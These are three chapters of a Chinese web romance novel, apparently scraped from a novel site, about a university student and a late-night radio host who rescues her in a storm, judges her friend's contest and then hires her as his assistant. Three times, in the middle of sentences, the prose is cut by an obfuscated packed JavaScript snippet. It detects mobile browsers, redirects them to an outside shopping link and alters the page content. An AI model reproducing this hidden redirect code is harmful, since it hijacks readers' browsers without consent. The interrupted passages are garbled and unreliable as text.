《所以你睡了没》 1. 雨夜 二零一二年的仲夏夜,深夜电台里来了一个新的主持人,陪着榆衡市的青年度过无数个失意难熬的夜晚。齐慕声每天最大的乐趣,除了学习,就是陪室友收听广播。她从来没有像那些听众一样打过电话,单纯觉得听他的声音能提高学习效率。 “现在是北京时间下午二十二点整,欢迎收听今天的深夜电台,我是主持人纪松臣。” 这天的纪松臣还是如往常一般,在晚上九点五十准时把车停到电台门口,十点准时到播音室开始上班。唯一与往常不同的是,还没到接收听众来电的环节,耳机里的铃声就响个不停。 纪松臣犹豫了几秒,还是接了。 “这位听众,请问您有什么问题?” 热线的那边传来呜呜咽咽的杂音,像雨水胡乱拍打在电话上,掺杂着雷电声。他抬头看了眼窗外,分明是晴朗的夜晚,还有轻轻的晚风。 “你,你好,”热线那头终于传来了人的声音,“我在华兴区九里堤的荒山下,现在这边下了大雨,我打不到车,你可以......” 声音和雨水混杂在一起,纪松臣一时没听清楚,只知道电话那头应该是个女孩子,又问了一遍:“在哪里?” 女生把声音稍微放大了一点,“华兴区九里堤。” 眼看雨越下越大,齐慕声找了棵树避雨。明明是一群人一起来的,偏偏把她一个人丢在这里。 她在荒山野岭等了半个多小时,都没有车经过。她打开电话,反复擦去上面的水珠,刚打开联系人那一栏,却突然想起联系列表里空无一人。她并不习惯主动给别人打电话,每次只是被动的接听。她只记得一个号码,那个电台广播的热线号码。 如果那个电台主持人不接,她就只能报警了。 她擦了擦脸上的雨水,倒吸一口冷气,在心里默默祈祷。今天本来是她们学院学生会部门团建,会长选了个郊外露营野餐,她本来以要写论文为借口推辞的,那些人却执意要她参加,她去了趟洗手间的功夫,郊外就下起了雨,那些人趁着雨还没大,全都打车回去了,给她留了一张字条,让她赶紧打车回去。 雨越下越大,根本没有出租车司机愿意在大雨天经过这里。 “叮——” 她在心里犹豫了好久,还是鼓起勇气打通了电话。 她将自己的位置说出来了之后,心跳快的像是有一辆汽车在肆意狂奔。若是那个广播主持人不愿意帮她,她也能接受,毕竟在大部分时候,他只是负责陪人家聊聊天和解决一些情感问题,自己的要求也确实过分了些。 长达五秒的沉默,电话那头却说:“你就在那里别动了,我过来。” 纪松臣关掉录音设备,结束了不到半小时的电台直播,带上口罩,拿起了车钥匙走出了电台。他知道为了一个陌生人旷工意味着什么,这个月的奖金没了,而且还要扣钱,自己也要被听众扣上玩忽职守的帽子,收听率也会收到影响,但那个声音响起的一瞬间,他就不能拒绝了。 华兴区,十公里,他在心里计算着,开车要开四十分钟。车里放着周杰伦的《稻香》,他一脚油门踩下去,头也不回地开出了电台。 榆衡是个神奇的城市,不同的区域天气差距极大,电台所在的朝华区甚至还能看得见星星,刚到华兴区的边界处是淅淅沥沥的下雨,再往里深入,便是中雨。雨水噼里啪啦地落在他的车前,模糊了视线。 纪松臣将车开到电话里那女孩说的地方,在山下转了一圈,最后在一棵枝繁叶茂的银杏树下看见了一个身穿天蓝色裙子的女孩。 他将车开到她面前,那女孩也没问他到底是不是那个主持人,便小跑着上了车后座。纪松臣在后视镜里看她,发梢源源不断地往下滴着雨水,双手抱着自己不断发抖。 纪松臣打开副驾驶的手套箱,在里面拿出了一个干毛巾递给她,“擦擦吧。” 齐慕声抬头,不知是不是电台音响太差的缘故,此刻纪松臣的声音,比在收音机里听到的,还要好听许多。 她不得不承认,有的人天生就是吃这碗饭的。 齐慕声接过干毛巾,摘下黑方框眼镜,将脸上和头上的雨水擦干净。她透过后视镜只能看见纪松臣玫瑰金色半框眼镜下修长的眉眼,头发像是已经许久没打理过了,长得快将半张脸遮住了。这个看起来不到三十的电台主持人,给人一副心事重重之感。也许能有效解决别人情感问题的前提是自己也历经风霜吧。 纪松臣打开了暖风,调整了一下暖风吹的方向。 齐慕声正好位于暖风风口,冻得发红的手渐渐缓和了过来。 “去哪里?”纪松臣又问,他已经将车开出了一段,但发现还不知道目的地在哪。 “去朝华区长江路二段,”齐慕声给了他一个地址,又说:“谢谢你。” 一路上,两人话少的可怜,只能听着车里播放的周杰伦的歌来打发时间。纪松臣没问齐慕声为什么一个人会出现在那么偏僻的地方,齐慕声也忍住了和天天听其声不见其人的神秘电台主持人进行互动交流。 只是偶尔会在后视镜里交换下眼神,而后一个目视前方,一个立马低下头去。 “到了。”纪松臣将车停在了长江路二段路标下,看了眼腕表上的时间,已经快到十二点了。 齐慕声道了谢,便往路南方跑去。纪松臣看着她的背影渐渐消失在视线里,又过了十几分钟,才重启油门往反方向开去。 第二天傍晚,纪松臣还在窝在八十平米的出租屋里睡觉,突然收到了电台领导的电话谴责,认为他这是严重失职,让他立马来电台一趟。 纪松臣半睡半醒,见电话那边没声就挂断了,穿上衣服,简单洗漱了一下便下了楼。 一路上都晕晕乎乎的,平日里开六十迈,现在为了安全只能开四十迈,领导又打了两个电话催他,他直接把电话关上,扔到了副驾驶。 还没到电台门口,他就远远看见一个熟悉的身影。他摇了摇脑袋,以为是自己睡得太少困出了幻觉。 齐慕声白天上课时抽空写了一封感谢信,想着今天送到电台。到了电台门口,却被保安拦在了外面,理由是不是电台工作人员不得入内。 她手里死死攥着那封信,“那您能把这封信交给那个晚上十点到十二点这个时间段的那个主持人吗?” 保安在脑海里过了一下这个时间段的主持人,光是能叫出名字的就有不少,说:“这个时间段的主持人多了,我哪知道你说的哪个?” 齐慕声回想了一下他的名字,略带羞涩地开口:“纪松臣,声音最好听的那个。” 保安指了指外面的盒子,“放这吧,那小子天天晚上踩点到,等他来了我给他。” 齐慕声前脚把信放到保卫处,纪松臣后脚开车进来。路过的时候,她认出了是昨天接她的那辆车,刚想叫住他亲手把信给他,那人开着车直接从她身边飞过。 她想了想还是算了,反正保安也会把信给他。 纪松臣路过保卫处,直接将信拿走了。 到了电台楼下,他不急着进去,先把信从信封抽了出来,在车里通读一遍,信的内容无非就是一些感谢的话,他倒没放在心上,往右下角看,那个本该署名的地方却是一片空白。这封信唯一吸引他注意的点,除了一手非常隽秀飘逸的字,就是这封信是用榆衡大学专门印发的信纸写的,左上角还印着校徽。 他把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16603214|187544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 信叠好放回去,将车钥匙拔了出来,一起拿上了电台。 齐慕声刚到学校,电话铃声就响了起来,齐慕声接通,电话那边传来一个磁性而又朝气蓬勃的声音。 “声声,我想了一下,还是决定参加那个市级广播主持大赛,你等下有时间吗?过来帮我看看稿子嘛?” “好。”齐慕声想起来他说的那个比赛,正是她今天去的那个广播电台和学校联合举办的,那人一开始没想着参加,不知怎么回心转意了,“什么时间?” “七点怎么样?我们还可以一起吃个饭,你要是同意我去宿舍楼下接你。” “没问题。”齐慕声应答,便将电话挂断了。 电话那边的男生叫邱铭,和她十三岁就认识,一直读同一所学校。齐慕声考上榆衡大学的那天,邱铭比他自己考上榆衡大学都高兴,因为终于又可以和她一个学校了。 二人在食堂吃完晚饭后,在教学楼那边找了个没人的教室,齐慕声发挥中文系的优势,帮他修改了一些语句不通的地方,又润色了一遍。 邱铭前两日染了一头蓝毛,显得肤色更加白皙,整个人看起来也更有活力。他看齐慕声正拿着他用口水话胡乱写的讲稿认真修改,靠得更近了些,声音慵懒,带着些撒娇的调:“声声,你会来现场看我比赛吗?” 声声这个名字,她从小到大只在他一个人嘴里听过。她一开始也不喜欢,但此人就是不改口,时间一长,她也就顺其自然了。 齐慕声下意识往旁边躲避了一下,“会,这场比赛我们学院是主办方,我要在现场当志愿者。” 邱铭装作要哭的样子,求着齐慕声:“那你可只能支持我,不然我真要伤心了。” 齐慕声这才转头看了一眼这个贱兮兮的小狗,拿他没什么办法,说道:“大少爷,参赛的人里,我就只认识你一个人,我不支持你支持谁呀?再说了,我也没有投票权,我的支持有什么用?” 邱铭当即反驳:“怎么没用了?精神支持也是支持,比那些评委投的票对我的激励更大。” 天色渐晚,教室里即使开着灯也略显昏暗,屋里唯一明亮的是她的眼睛。 她的眼睛下有一颗小小的痣,与寻常的泪痣不同,她的痣是落在了卧蚕上,这颗痣配上她温柔、永远波澜不惊的脸,就像蝴蝶飞过了沧海,在海面上留下了只属于自己的痕迹。 “你在看什么?”齐慕声被他看的有些脸红,又转过头去,面对那张修改了很多次的讲稿。 明明已经认识了八年,邱铭却总是像第一次看见她一样。 “没什么啊,就是感觉声声又漂亮了,我想着挑一个发圈送给你,你是想要MiuMiu,还是想要ALEXANDRE?” 齐慕声喜欢将头发低绑在一边,用一个小小的蝴蝶结发圈束住,但发圈戴的时间久了,蝴蝶已经有些不牢固,想要飞走了,邱铭便想送她一个做工更好的发圈,这样一来没那么贵,二来她也能经常用到。 齐慕声摇了摇头,不解道:“今天又不过节,送我东西干嘛?” 邱铭有些失望,小声嘀咕:“怎么不过节,今天分明是我们认识两千九百天的日子。” 齐慕声愣了一下,一时分不清他是真的记得,还是随便编了个日子哄她,郑重地看着他,点了点头,“那节日快乐,礼物就免了,我要回去了。” 邱铭将她改过的讲稿小心翼翼地收好,“我这两天要抓紧练习了,我们比赛那天见,等比完了,我带你去吃澳洲龙虾。”他又俯下身,在齐慕声耳边说:“放心吧,我肯定会拿下冠军的。” 齐慕声哭笑不得,拍了拍他的肩膀,鼓励他一句:“比赛加油,看你表现。” 2. 领奖 三天后,下午三点,市级广播主持大赛准时在汉语言文学学院礼堂举办。 两点半左右,电台的十位评委便坐到了现场。纪松臣戴着黑色口罩,靠在椅子上,手里转着主办方提供的笔,百无聊赖地看着一群大学生在台下忙来忙去。 这个时间,他本来应该在家里睡觉。但前几天旷了一次工,领导提出的惩罚措施是让他来跟广播组的人来这里当评委。 志愿者将一把写着分数的举牌放到他面前的桌上,从0-10,现场实时打分。他跟领导协商了一下,他今天不需要发表任何意见,只需要负责举牌子打分。 “松臣,你今天可以留意一下,有没有声音条件好的,等他毕业了就把他挖到电台来。”坐在他旁边的电台主持人韩佑说。 “好。”纪松臣回应完之后,又迅速恢复了闭目养神的状态。他坐在最偏僻的位置,刚闭上眼睛,就被空调呼啸而过的风吹醒了。 长到可以留狼尾的头发跟随着空调的风在空中凌乱。 “那个,你好,可以把空调的风关小一点吗?”他伸手挡了一下空调的风,向不远处的志愿者打了个招呼。 那名志愿者听见他的诉求,立马跑过来将空调的风往下降了两个档。 “是你?”空调风速降低了不少,纪松臣勉强睁开眼,看清了面前志愿者的脸,正是有着两面之缘的那个女孩。她今天身穿白衬衫和黑长裙,配上格子领带,长发披肩,虽然没有过多的装扮,却如出水芙蓉般动人。 他只知道自己今天要来一个大学当评委,但没问到底是哪个大学,韩佑就一脚油门把他送到这里来了。 齐慕声看见纪松臣,眼里的星光一闪而过,刚想和他打个招呼,就被负责人老师叫了过去。 纪松臣隐隐约约听清了她的名字,好像是叫齐慕笙?但是是哪两个字,他就不清楚了。 比赛正式开始,齐慕声负责将参赛人员的稿子挨个发个评委,路过纪松臣时,纪松臣双手接过,注意到了她挂在胸前的志愿者牌子。 齐慕声,原来是这三个字。 一连几个,纪松臣都非常公平地打了五分,没有亮点,但也没有失误,打一个五分应该挑不出问题。 还有两个,他听得简直昏昏欲睡,终于体会到了听众每天晚上听电台直播的感觉。 他想,他的电台直播应该也这么助眠吧。要真是如此,他就把他的声音录一段磁带,每天晚上下班回家睡前听,这样也不至于天天晚上失眠。 韩佑拿笔戳了他一下,问:“松臣,你觉得这里有比较有天赋的吗?” 纪松臣果断摇头了,目前参赛的这些,要么声音平淡毫无激情,要么失误不断卡顿频繁,更过分的,还有连普通话都说不利索的,跟“天赋”这两个字不说沾不到边,简直是差了十万八千里。 最重要的是,声音缺乏可塑性,想在这一行混出名堂更是难上加难。 他看了一眼腕表,三个小时过去了,后面还有五名选手,每个人十分钟展示自己的时间。他叹了口气,感觉时间在这里被无限拉长了。 直到邱铭上场,纪松臣才重新抬起了头。他坐的太偏僻,看不清台上人的长相,只能看见他一头惹眼的蓝毛,高高瘦瘦的。 他一开口,刚自我介绍完,全场掌声雷动,观众席上不少女生在欢呼。 纪松臣看了一眼齐慕声的方向,发现她也听得专注。他能猜想到,台上这个男生,多半是这个学校的风云人物,不是校草就是校霸。 从音色,到台风,再到内容,对其他参赛者而言完全是降维打击。他的声音与寻常电台主持人普遍的温柔雄厚的嗓音不同,更像是清风拂过绿叶,让人沉溺在春日童话的幻想里。 十分钟一到,邱铭在台上行了谢幕礼。对时间和节奏的把控,也成为了他的加分项。 “请各位评委打分。”台上的主持人说。 纪松臣也是罕见地打了九分,这是他今天打出的最高分。 剩下九个评委,清一色的满分。 韩佑小声说:“怎么说?要不要跟他聊聊,让他毕业到电台上班,不可多得的好苗子。” “这么重要的任务,交给你了。” 韩佑看他那张对什么都漠不关心的脸就来气,“这人要到咱们电台上班,估计能给你上一点压力,看你天天对工作这么倦怠,还旷工,肯定就是台里没竞争对手导致的。” 纪松臣心里反驳,他对工作这么倦怠,还不是因为他最近天天失眠休息不好吗?和有没有竞争对手有什么关系。 毕竟,他不属于一有压力就能产生亢奋的人。 但他嘴上什么都没说,默默地转过头去,关注下一个人的表现。 下一位选手因为上一个人的表现太过优异,导致发挥失常,五分钟不到就下了台。 其实谁是第一,大家心里都清楚,邱铭的九十九分,很难有人再超越了。但这毕竟是一次表现自己的机会,即使知道自己可能只是陪跑,但也要全力以赴,尽可能地多展示自己的闪光点。 也许就恰好被别人看到了呢? 就像两年前的纪松臣一样,其实整体表现并不尽人意,失误也多,但他坚持念完了那篇稿子,就因为声音条件太过优越,就被人从设计界挖到广播界了。 比赛结束了,邱铭不出意外地拿了冠军,齐慕声双手捧着装着奖牌的盒子,等着台下最权威的评委上台为邱铭颁奖合照。纪松臣刚想站起身,打算去卫生间,就被韩佑拉了过来。 “你怎么回事?让你去颁奖呢。”韩佑小声说,但看他疑惑的眼神,就知道怎么回事了,“领导是不是没跟你说,你是今天的颁奖嘉宾。” 纪松臣发自内心的拒绝,“为什么是我?你上去不行吗?” “人家要业内权威人士!而且我们几个今天都点评了,就你什么事都没有,不是你真以为举个牌子就行了?赶紧上去,人家在上面等很久了。” 纪松臣是被韩佑推上来的。 他将那枚奖牌挂在邱铭脖子上,两个人离的很近,能闻到淡淡的乌龙香。这个和他身高相近的少年,有着独属于学生的孩子气。明媚张扬,加之五官底子好,走到哪里都会是人群的焦点。 合影的时候,纪松臣站在了邱铭和齐慕声中间。 邱铭领了奖牌,带着齐慕声出了礼堂,站在走廊里,兴致勃勃地跟她分享他刚刚在台上的心路历程。 兴致高时,他直接将奖牌摘下来,戴在了齐慕声脖子上。 “你干嘛?” 齐慕声看了看左右,刚要将奖牌摘下来,就被邱铭拦住了,“这个奖牌本来就该有你的一份,要不是你帮我改稿子,我怎么会拿冠军。” 齐慕声连忙示意他噤声,虽然大家都会找专业的人润色一遍稿子,但他这么堂而皇之地在大庭广众之下说了出来,还是让她有些惶恐不安。 她刚低头看了看挂胸前的奖牌,做工细致,主要的图案是一个话筒。 “怎么样?喜欢吗?” “喜欢。”齐慕声刚低头轻声说了一句,纪松臣从她身边路过,低头看了她一眼,恰好与她目光对焦。 他将口罩摘了,整张脸露在大众视野下,引得不少女生注目惊叹。半框的眼镜配上高挺的鼻梁,增强了整张脸的立体感,浅得近乎发白的嘴唇又平添三分虚弱感,刚柔并济,堪称神的杰作。 这是齐慕声第一次看清他的脸,与他对视的那一刻,她甚至忘记了呼吸。此人戴上口罩和摘下口罩完全是两种不同的感觉。 “有那么帅吗?刚刚在台上连口罩都不舍得摘。” 听见邱铭的吐槽,她才回过神来。 “你觉得我和他比,谁更帅一点?”邱铭见她没说话,又拉了拉她衣袖, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16603215|187544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问道。 齐慕声知道如果此时从嘴里说出的答案不是他,他一定又要闹上几天,每天都在心里纠结这件事直到自己改口为止。 “你帅,行了吧。”她直接在源头断绝了这种可能。 “我就知道,声声,陪我去吃大餐庆祝一下嘛。”邱铭推着她走,语气绵软,像含了块棉花糖,与刚才台上一本正经装酷耍帅的少年判若两人。 齐慕声本想以写论文为由拒绝,又看着他一脸期待的眼神和贴在胸前的奖牌,还是答应了下来。 纪松臣上了韩佑的车,一路上都在想刚刚看见的那一幕。他也不想在脑子里想一个与自己素不相关的人,可脑子又偏偏不听他的话,总是控制不住去想。 去想那个蓝毛是不是她男朋友。 明明自己不是一个喜欢八卦的人。 车里放着八十年代的摇滚乐,震耳欲聋,他几乎头痛欲裂,差点在车上晕过去。 韩佑转了个弯,瞥见靠在副驾驶的座椅上半睡半醒的纪松臣,“醒醒啊,松臣,还得上班呢,今天再旷工,领导还得把你抓来当免费的劳动力,不像我们,好歹能挣三百块钱呢。” 纪松臣被他叫醒,迷迷糊糊地问了句干嘛,又睡了过去。 他时常觉得,这乱掉的作息,没有任何规律可言,就和他乱掉的人生一样,毫无方向。 韩佑有些无奈,跟他当了一年同事,对他本人的了解几乎为零,但他确实是电台唯一一个能和他说得上话的人。 纪松臣留给他的最深的印象,就是一张帅得人神共愤的脸,还有狗听了都走不动道的嗓音。 这种人不去当大明星,上大屏幕发挥自己的优势,跑来跟他们抢饭碗,完全是在浪费资源。 到了电台楼下,他一个急刹车,直接把睡了半路的纪松臣震醒了。 纪松臣摘下眼镜,揉了揉眼睛,休息不好眼底泛起了红血丝。他看了眼开车韩佑,“车技还得再练练。” 说罢,推开车门上了楼。 离工作的时间还早,他打算在电台吃点东西。在车上睡了一觉,头痛的情况有所缓解,也没有继续胡思乱想下去。电台的二楼,所有主持人都有工位,平常无事的时候会聚一起聊一下娱乐圈的八卦,或者交流一下最近的工作心得。 纪松臣只来过这个工位三次,大部分时候他都是踩着点上班然后直接去直播。 他在咖啡机里倒了杯摩卡,听同事们谈论今天比赛现场的事。 总体都是很无聊的,当然没有人会跟钱过不去,除了纪松臣这个倒霉鬼。 临走的时候,有一个叫曲云帆主持人给这次参赛人员和负责组织这次比赛的工作人员留了个邮箱,欢迎他们投递简历。比赛刚结束没多久,曲云帆邮箱里就收到了十几份简历。 谈论这些大学生的简历比谈论他们今天的表现要有意思得多,毕竟大家都是从这个阶段过来的,现在自己也有权利审视别人简历的了。 不少主持人都凑过去围着曲云帆的电脑看热闹,只有纪松臣在一旁默不作声地喝着咖啡。 “你们看这个女生,证件照好漂亮,而且还是学霸,中文系的,年年都拿国家奖学金,就是工作经历比较少,应该是来积累工作经验的吧。”一个女生的证件照吸引了不少人的注意。 韩佑也注意到了这个女生,连忙问:“来应聘什么岗位的?” 心想他们电台难道又要出一个美女主持了? 身边的美女主持看他一副口水都要流电脑屏幕上的样子,踩了他一脚。 曲云帆看了看求职岗位那一栏,“电台主持人助理。” “叫什么名字?留意一下。” 曲云帆拖动鼠标将简历翻回顶部,“齐慕声。” 一群人正看的热火朝天,另一边传来一个格格不入的声音。 “这个人,我要了。” 3. 电台 此言一出,众人纷纷看向纪松臣,像听到了什么诡异的事情一般,脸上皆露出不可置信的表情。 接近一年的时间,纪松臣的深夜电台都只有他一个人。电台领导不止一次提出帮他找个助理,甚至还带着人去他面前,都被他婉拒了,其中不乏一些有工作经验的美女,他连看都不看就把人家拒之千里之外。 其实他心里清楚,领导带到他面前的那些人,都是他想力捧的人,无疑是把他当成了飞升的跳板。 有几个对这个学生感兴趣的主持人见纪松臣开口,也不好意思争了,毕竟这是电台里的顶梁柱。 “这样吧,你什么时候有时间,来亲自面试一下。” 曲云帆打开邮件回复,刚要敲键盘确定面试时间,就听见纪松臣说: “不用面试了,明天直接通知她来上班吧。” 晚上九点,夜风微凉,月色朦胧,完完整整地倒映在江面上。齐慕声刚到学校的机房,打开电脑,登陆上自己的账号,就有一封陌生邮件弹了出来。 齐慕声点开,看见是曲云帆的免试入职申请,喜不自胜。比赛开始前,电台就发出了广纳贤才的招聘,她留意了一下,除了一些对专业要求过高的,就只剩下主持人助理这一职位有空缺,至于被分到哪个主持人手下,就是听天由命了。 最让齐慕声心动的,还是一天只需工作两个小时,算上通勤时间不超过三小时,一个月有一千八百块的工资。 开学时学校发的五千块奖学金交了学费和住宿费便所剩无几了,她还需要找一份工作来维持生活。至于去哪个主持人手下,她虽有心仪人选,但也不能强求。 毕竟那是知名电台主持人,身边的助理肯定不止一个,怎么可能会招助理。 自从上了高二以来,父母几乎没有管过她了,她只能靠课余闲暇时间打一些零工赚点生活费。到了大三,学院有毕业实习的要求,她就不能再做那些零散的小时工,而是需要一份正式的工作。 齐慕声拨通了发件人留的电话号码,心里砰砰直跳个不停。趁着还没接通,她在心里不断措辞要怎样开口。 “您拨打的用户已关机,请稍后再拨。” 学校的机房十点准时关门,她边背上书包打算回宿舍。榆衡大学的夏天夜晚是最热闹的,大学生都不舍得太早休息,路边既有三五成群的滑板少年,也有执手赏月的小情侣。 刚到宿舍,室友已经将收音机打开了,齐慕声一边听纪松臣的广播,一边拨通了那个号码。 接通了,她带着电话去了走廊。 “喂,请问您是?” 电话那头传来了一个温柔敦厚的声音,给人一种阅尽千帆而又孑然一身的孤独感。 “您好,我叫齐慕声,我今天向贵单位发了求职简历......” 还没等齐慕声说完,曲云帆就把她打断了:“我想起来了,恭喜你啊,被分到了我们电台最出名的主持人手下,明天晚上十点,去电台702报道,试用期三天,试用期过了签合同。”说罢,还没等齐慕声往下追问,便挂断了电话。 最出名的主持人?齐慕声一头雾水,这个电台出名的主持人很多,但最出名的,她也不敢确定是不是她想的那一位。 学校有规定,宿舍十二点准时熄灯,她躺在床上辗转反侧,脑子里反复想着明天见到上司要怎么打招呼,怎么与上司友好相处。 如果可以被分到纪松臣手下就好了,她怀里紧紧抱着一只棕熊,那个人的轮廓在她脑海里越来越清晰。 第二天,齐慕声在超市里买了一盒新鲜的草莓,本来计划着九点钟下课就出门的,电台离学校不过两公里的距离,她走着去也来得及,还能省一笔打车钱。 下课铃声刚响,同学们都陆陆续续地走了,她刚要出门,就被台上讲中华文化的杨老师留了下来。 “慕声,麻烦帮老师检查一下上次留的论文收没收齐,大名单在这里,辛苦你了。” 齐慕声看着堆在桌上厚的像山一样的一摞论文,还有不由分说就塞到她手里的名单,有些担忧,毕竟今天是第一次上班,迟到可不好。 “慕声,你先数着,我去趟卫生间。”杨老师刚把名单交到她手下,没给她反应的时间,人已经走出去了。 大学老师有一个共性,就是不认识台下的学生,能被她记住的,要么是上课经常捣乱并且不爱交作业,要么是经常旷课并且被她发现的,要么就是太漂亮了放在人群里很难让人忽视,无非这三种情况。 齐慕声属于最后一种,即使她上课经常低着头,很少主动举手回答问题,把自己的存在感降到最低,还是难逃被老师记住并且总是被抓去做苦力的命运。 她飞速地清点了一下论文数量,让她最担心的情况还是发生了,少了三份。 也就意味着,她要按照大名单一本一本查。 半小时过去,她才把那三人找出来,她刚要走出教室,又被杨老师拉住了,“帮老师把这些论文抱到车上去吧,老师给你平时分加两分。” 齐慕声想着,反正自己也要下楼,将论文抱到车上也花不了多长时间。她看了看挂在墙上的挂钟。 九点三十五了。 大不了就打个车去吧。 齐慕声抱着那摞论文,还没等移步,感觉自己腰都要断了。杨老师看她吃力,帮她分担了一小部分,这才将它们搬到了副驾驶。 她从杨老师手下解放,就抓紧时间往校门跑。站在校门口,白色连衣裙被晚风吹得微微有些荡漾,她一手扶着裙摆,一手招揽着路过的司机。 一辆绿色的出租车在她身边停下,她上了车,“师傅,南青路二段的广播电台。” 出租车司机踩了一脚油门,不紧不慢地用六十迈的车速开着。 “师傅,可以快一点吗?我赶时间。”她看了一眼车上的时间,只剩下十分钟了。 司机将六十迈提到八十迈,路过三个红绿灯,又在转弯处把车速降了下来。 “姑娘,前面出车祸了,交警不让过。您要不就在这里下吧,还有个七八百米左右。”司机挠了挠头,不好意思地看着齐慕声。 “啊?” 只剩下三分钟了。 她从口袋里拿出五块钱递给了司机,匆匆下了车,往电台方向跑去。 她穿着裙子,又背着书包,跑起步来实在不方便,只能快步走,饶是如此,汗水还是源源不断地从脸上流下来。她来不及擦,只是想着再快一点,不然到手的工作就要飞走了。 她刚到电台大门,又被上次那个保安拦了下来。 “诶,怎么又是你?”保安想起来她是前两天来送信的那个女孩,问道。 齐慕声擦了擦脸上的汗,气喘吁吁地说:“叔,我今天是来上班的,让我进去吧。” “工牌呢?没有工牌不能进。” 齐慕声刚想给那个主持人人打电话,还没等她拨通,一辆夏利开了出来,停在她身边。 曲云帆把车窗摇下来,打量了一下齐慕声,一眼便认出了她是那个来实习的女生。 只是看起来有点狼狈。 “叔,让她进去吧,这是我招的助理。”又转头对齐慕声说:“是702哦,你已经迟到三分钟了,我们大主持人可是要生气了。” 保安得了指令,把齐慕声放了进来,她直接往楼里冲。还好赶上了电梯,用力按下了写着数字七的那个按钮,靠在电梯间的墙上松了口气。 离七楼越近,她的心跳就越快。一出电梯转头就看见702,她鼓起勇气敲了敲门,但是无人应答。她站在门口仔细听,里面传来一阵流行音乐声。 齐慕声趁机推开了门,刚进去,就闻到了淡淡的香水味。她不知道这是什么牌子,只觉得一阵清幽,闻起来心旷神怡,给人以乘舟行于江南水乡之感。 再往前走两步,恰好和她的上司四目相对,音响里不合时宜地播放起了孙燕姿的《遇见》。 “我遇见谁会有怎样的对白?” 这句歌词一直在她脑子里循环播放。 齐慕声觉得自己心跳已经飙升到了一百八,站在原地不知所措。她差点忘了自己来这里是干什么的,也忘了自己是怎么一路狂奔到这来的,只剩下这首歌的旋律和歌词了。 脑子的混乱程度,堪比不复习就去考试。 汗水不断往下流着,顺着脸颊滑落,但她忘记了去擦。 “坐那里吧。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16603216|187544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”纪松臣把麦摘下来,小声对她说,并用手指了一个方向。 齐慕声回过神来,顺着他手指的方向,走过去,拉出了一把椅子,面前是电台接收听众来电的控制器,还有一副头戴式耳机,她可以筛选什么样的电话内容可以到纪松臣的耳麦里。 她现在还有些不可置信,纪松臣在深夜电台这一领域,算是做的比较成功的,竟然连个助理都没有。 她强迫自己冷静下来,只是迟到了几分钟罢了,只是有点狼狈罢了,大不了就被辞退。 纪松臣往她的方向看了一眼,见她冷静下来才继续直播。 还没到听众来电的环节,她静静地坐在那里,看着纪松臣话语入珠侃侃而谈。一个看起来对什么都漠不关心的人,在电台里,又换了一副面孔。 她突然想到,要是纪松臣去当演员,凭他的外形和声音条件,还有这如假包换的演技,一定早就红遍了大江南北,说不定连奥斯卡也收入囊中了。 为什么还要被困在一个不到十五平方米的播音室呢? 齐慕声看得太入迷,连听众来电都忘了接,超时了直接自动到纪松臣的耳机里。纪松臣接通那一瞬间,她才反应过来。 “主持人,你相信一见钟情吗?”说话是个三十岁左右的男人。 都2012年了,怎么还有人问这么老土的问题,齐慕声在心里默默吐槽。 纪松臣思考了片刻后却一本正经地回答道:“我相信,爱情本身就是需要是冲动的,我们一生会遇见很多人,但其实第一次见面就能产生怦然心动的感觉的人少之又少,如果你真的遇见了,我建议你把握机会。” “主持人,你遇见过让你一见钟情的人吗?” “我......”纪松臣有些语塞,暂停了约莫三秒左右,瞥了一眼窗外,正好看见月光将一张清秀的脸模糊地映在窗子上,说:“遇见过。” 他说这三个字时,神情格外认真。 看来不仅仅是遇见,那人应该还在他生命里留下过浓墨重彩的一笔,齐慕声猜想。 “让我们收听下一位观众来电。” 纪松臣主动将电话挂掉,他不想在这种毫无意义的问题上浪费时间,但大多数时候,观众就爱探讨这类问题。他的主要工作,就是帮各类人解决情感问题。 齐慕声提前接通观众来电,听了一下大致问题,觉得正常合理的才给纪松臣输送过去。 一直到十二点半,纪松臣才结束直播。他今天破天荒地加了次班,也可能是把之前旷工欠的时长补了回来。齐慕声已经趴桌子上睡着了,她投简历之前,根本没想到自己上的是晚班。 还好学校不经常查寝,她晚一点回去也无妨。 窗外下起了大雨,月亮消失的无影无踪,雨水顺着窗户飘进来,带来一丝凉意。 齐慕声是被冷醒的,打了一个寒颤,茫然地看着坐在椅子上的纪松臣,“下班了?” 她不知道自己什么时候睡着的,也不知道纪松臣什么时候结束的直播,她只知道,自己这份工作,怕是保不住了。 纪松臣将窗户轻轻关上,走到她身边去,用一种困惑的眼光看着她:“睡醒了?我的直播,真有这么助眠吗?” 他把自己直播录成磁带或者光盘的想法越来越强烈。 